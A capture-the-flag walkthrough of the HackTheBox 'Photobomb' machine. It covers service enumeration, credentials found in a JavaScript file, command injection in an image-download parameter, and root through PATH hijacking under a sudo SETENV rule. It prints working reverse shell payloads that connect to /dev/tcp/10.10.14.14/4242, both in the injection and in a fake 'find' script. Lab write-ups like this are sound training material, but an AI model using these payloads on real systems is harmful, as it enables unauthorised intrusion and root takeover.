Photobomb Writeup
11 February 2023 #CTF #HTB #box #easy #linuxEnumeration
Do NOT hesitate to nmap
this box:
$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap 10.10.11.182
[...]
22/tcp open ssh
80/tcp open http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.182
[...]
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
SSH
We can use the ssh banner retrieved by nmap
to identify quite accurately what version of Ubuntu is running on this box.
We'll throw the banner in our search engine and append 'launchpad' because this is where Ubuntu packages are hosted: we get this page.
We learn that it is Ubuntu Focal (20.04) and that the package was published on 11/05/2022.
This might be useful for us later on if we want to try a kernel exploit or something along those lines.
HTTP
After adding photobomb.htb
to our /etc/hosts
file (as nmap
told us) we can view the page:
If we go to a page that doesn't exist we get this error page:
This reveals that it is using the Sinatra ruby web framework (kind of like Flask). Nothing comes up with searchsploit
.
We have a domain so let's try bruteforcing subdomains:
$ ffuf -u http://photobomb.htb/ -H 'Host: FUZZ.photobomb.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://photobomb.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.photobomb.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 423 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
Run it first to get the size you want to filter and then add the -fs
flag.
Maybe we'll have more luck with directory bruteforcing:
$ gobuster dir -u http://photobomb.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/80-root.photobomb.htb.dir
/. (Status: 200) [Size: 843]
/printer (Status: 401) [Size: 188]
/printerfriendly (Status: 401) [Size: 188]
/printers (Status: 401) [Size: 188]
/printer_friendly (Status: 401) [Size: 188]
/printer-friendly (Status: 401) [Size: 188]
/printerFriendly (Status: 401) [Size: 188]
It seems that every url that starts with printer
is redirected to /printer
.
Well, let's look at this page since it's the only one we found:
It asks us for HTTP Basic Auth... Common creds like admin:admin or admin:password didn't work.
Going back to the index page, we can use the developer tools to see what is being requested. In Firefox: ctrl+shift+e to open the network tab and then ctrl+shift+r to do a full refresh (clear the cache):
There is this photobomb.js
fille which is definitely not a standard javascript library so it's worth taking a look:
Nice, we have some creds, let's login to /printer
:
We can click on an image and download it to the format we choose.
Foothold
Let's take a look at the request in Burp:
After playing a bit with the different parameters, we come across an interesting error message by adding a ';' to filetype
:
Let's confirm the command injection vulnerability by trying to ping ourselves:
Firstly, setup tcpdump
to listen for ICMP (ping) packets:
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Then send the ping:
After a few seconds we catch something with tcpdump
:
16:50:21.342978 IP photobomb.htb > 10.10.14.14: ICMP echo request, id 2, seq 1, length 64
16:50:21.343097 IP 10.10.14.14 > photobomb.htb: ICMP echo reply, id 2, seq 1, length 64
Cool, this confirms we have code execute on the box. Now get a reverse shell with:
jpg;bash -c 'bash -i >%26 /dev/tcp/10.10.14.14/4242 0>%261'
We have to URL encode the '&' because it would mess our request up.
Privesc
First things first: check sudo
rules:
wizard@photobomb:~/photobomb/source_images$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
We can run the /opt/cleanup.sh
script as root without password. There is also this SETENV
which sounds interesting.
From man sudoers
:
If SETENV has been set for a command, the user may disable the env_reset flag from the command line via the -E option. Additionally, environment variables set on the command line are not subject to the restrictions imposed by env_check, env_delete, or env_keep. As such, only trusted users should be allowed to set variables in this manner.
Here is the script in question:
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Notice that, for the last command, find
is called without an absolute path, giving us the oportunity to hijack it.
Let's create a new find
that will send us a reverse shell:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.14/4242 0>&1
Then add the directory where our new find
command is located (/home/wizard
in my case) to the PATH environment variable:
wizard@photobomb:~$ chmod +x find
wizard@photobomb:~$ which find
/usr/bin/find
wizard@photobomb:~$ export PATH=/home/wizard:$PATH
wizard@photobomb:~$ which find
/home/wizard/find
By adding this directory to the beginnning of the PATH variable, we make sure that our script is executed, instead of the real find
.
Then, it is just a matter of executing the /opt/cleanup.sh
script with the right flag:
wizard@photobomb:~$ sudo --preserve-env=PATH /opt/cleanup.sh
And boom, we get another reverse shell as root!
At first I tried the -E
flag but it did not seem to keep the PATH that I defined.
Key Takeaways
- Analyze unusual javascript files
- SETENV in sudo is dangerous